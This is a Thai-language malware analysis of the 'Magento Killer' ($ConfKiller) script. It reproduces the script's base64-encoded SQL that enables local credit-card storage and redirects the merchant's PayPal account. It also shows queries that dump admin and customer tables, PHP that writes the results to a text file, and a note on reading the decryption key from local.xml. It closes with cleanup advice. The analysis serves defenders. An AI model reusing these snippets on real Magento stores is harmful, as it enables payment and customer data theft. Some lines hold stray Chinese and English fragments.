สคริปต์ที่พบใหม่ชื่อ Magento Killer ได้โจมตีเว็บไซต์ Magento ล่าสุด สคริปต์ $ConfKiller เป้าหมายไฟล์สำคัญที่สุดของเว็บไซต์คือ ไฟล์ config (ไฟล์การกำหนดค่า) เพิ่มเติม สคริปต์ $ConfKiller หากรันสำเร็จสามารถ改动ตาราง core_config_data ของฐานข้อมูล Magento ที่ถูกโจมตี
แม้ว่าไม่ได้ฆ่าการติดตั้ง Magento ทั้งหมด แต่มันก็ทำลายเว็บไซต์ Magento Killer จัดการขโมยข้อมูลอย่างรุนแรง ข้อมูลรวมถึงข้อมูลบัตรเครดิต ข้อมูลระบุตัวตนส่วนบุคคล อีเมล ที่อยู่สำหรับเรียกเก็บเงิน ฯลฯ
$ConfKiller: วิธีการทำงาน (Modus Operandi)
แฮกเกอร์ทำตามลำดับขั้นตอนเพื่อขโมยข้อมูลนี้ ฉันพยายามอธิบาย modus operandi ของสคริปต์ Magento killer ให้เรียบง่ายที่สุดเท่าที่จะเป็นไปได้ ดังนั้น กระบวนการคือ:
ขั้นตอนที่ 1: แทนที่บัญชี PayPal ของพ่อค้า
ขั้นแรก โจมตีฉีดคำสั่ง SQL ที่เข้ารหัส base64 อย่างพิเศษ คำสั่งที่ฉีดเข้าไปมีลักษณะดังนี้:
$ConfKiller = array( 'Update DB (Savecc)' => base64_decode('VVBEQVRFIGBjb3JlX2NvbmZpZ19kYXRhYCBTRVQNCmBzY29wZWAgPSAnZGVmYXVsdCcsDQpgc2NvcGVfaWRgID0gJzAnLA0KYHBhdGhgID0gJ3BheW1lbnQvY2NzYXZlL2FjdGl2ZScsDQpgdmFsdWVgID0gJzEnDQpXSEVSRSBgcGF0aGAgPSAncGF5bWVudC9jY3NhdmUvYWN0aXZlJzs='), //UPDATE `core_config_data` SET `scope` = 'default', `scope_id` = '0', `path` = 'payment/ccsave/active', `value` = '1' WHERE `path` = 'payment/ccsave/active'; 'Update PP (MailPP)' => base64_decode('VVBEQVRFIGBjb3JlX2NvbmZpZ19kYXRhYCBTRVQKYHNjb3BlYCA9ICdkZWZhdWx0JywKYHNjb3BlX2lkYCA9ICcwJywKYHBhdGhgID0gJ3BheXBhbC9nZW5lcmFsL2J1c2luZXNzX2FjY291bnQnLApgdmFsdWVgID0gJ1tyZWRhY3RlZF1AZ21haWwuY29tJwpXSEVSRSBgcGF0aGAgPSAncGF5cGFsL2dlbmVyYWwvYnVzaW5lc3NfYWNjb3VudCc7') //UPDATE `core_config_data` SET `scope` = 'default', `scope_id` = '0', `path` = 'paypal/general/business_account', `value` = '[redacted]@gmail.com' WHERE `path` = 'paypal/general/business_account';
หากเราแยกโค้ดนี้ เราจะเห็นว่ามี 2 คำขอที่ทำอยู่ที่นี่:
- Update DB (Savecc): คำขอนี้ กำหนดค่าเว็บไซต์ Magento ให้ บันทึกข้อมูลบัตรเครดิตของลูกค้า บนเซิร์ฟเวอร์ แทนสถานการณ์ทั่วไปที่ส่งไปยังแบ็กเอนด์ คือ Payment Processor (เช่น authorize.net)
- Update PP (MailPP): ตอนนี้ this Request แทนที่บัญชี PayPal ของพ่อค้าบนเว็บไซต์ Magento เป้าหมาย ไปยังบัญชีอื่นๆ ตามที่แฮกเกอร์ต้องการ
ปกติ Magento เข้ารหัสข้อมูลบัตรเครดิตที่บันทึกในเครื่อง แต่ในกรณีนี้ มันไม่สามารถให้การป้องกันมากนัก
ดังนั้น โจมตีจึงสามารถขโมยคีย์การเข้ารหัสจากไฟล์ Magento ./app/etc/local.xml ได้ เนื่องจากตอนนี้พวกเขามีการเข้าถึงระบบไฟล์ของเว็บไซต์ ด้วยคีย์นี้ พวกเขาสามารถถอดรหัสข้อมูลบัตรเครดิตเป็นสิ่งที่เข้าใจง่ายกว่านั่นคือ plaintext

ขั้นตอนที่ 2: ขโมยข้อมูลลูกค้าที่เพิ่มเข้ามา
แม้แฮกเกอร์จะขโมยข้อมูลบัตรเครดิตแล้ว แต่เขาไม่สามารถใช้ได้โดยไม่มีข้อมูลเสริม ดังนั้น แฮกเกอร์จึงพยายามได้ข้อมูลลูกค้าเพิ่มเติม เช่น ชื่อเต็ม อีเมล ที่อยู่สำหรับเรียกเก็บเงิน หมายเลขโทรศัพท์ ฯลฯ
เขาส่งโค้ดบรรทัดต่อไปนี้เป็นคำสั่งซึ่งแสดงฐานข้อมูลให้แฮกเกอร์:
$query = array( 'admin_user' => 'SELECT * FROM admin_user' , 'aw_blog_comment' => 'SELECT * FROM aw_blog_comment' , 'core_email_queue_recipients' => 'SELECT * FROM core_email_queue_recipients' , 'customer_entity' => 'SELECT * FROM customer_entity' ,
ขั้นตอนที่ 3: ดึงข้อมูลไปยังไฟล์ข้อความ
สุดท้าย เขาโอนข้อมูลสำคัญที่เลือกไปยังไฟล์ข้อความ ในกรณีนี้ *-shcMail.txt คือไฟล์ข้อความ โค้ดด้านล่างรับรองความสำเร็จของการโจมตีโดย Magento Killer
$namefile = md5(time())."-shcMail.txt"; foreach ($query as $shc_key => $shc_query) { $hasil = mysql_query($shc_query); while ( $kolom_db = mysql_fetch_assoc($hasil) ) { $mail[] = $kolom_db[$shcolom[$shc_key]]; $myfile = fopen($namefile, "a+") or die("Unable to open file!"); fwrite($myfile, $kolom_db[$shcolom[$shc_key]]."rn"); fclose($myfile);
สคริปต์นี้สร้างลิงก์ไปยังไฟล์ *-shcMail.txt สุดท้าย มันแสดงผลเพื่อแจ้งให้โจมตีทราบว่าการเปลี่ยนแปลงการตั้งค่าสองครั้งแรกสำเร็จหรือไม่
สรุป
หากคุณสังเกตเห็นเว็บไซต์ของคุณติดเชื้อมัลแวร์นี้ ให้ทำตามคู่มือนี้เพื่อทำความสะอาดมัลแวร์จากเว็บไซต์ Magento ของคุณ
หรือคุณสามารถข้ามความยุ่งยากของการอ่านโพสต์ยาวอีกครั้ง และใช้ บริการกำจัดมัลแวร์ทันทีที่นี่ ในกรณีที่คุณยังไม่ถูกติดเชื้อ รักษาความปลอดภัยเว็บไซต์ของคุณด้วย รายการตรวจสอบความปลอดภัย Magento นี้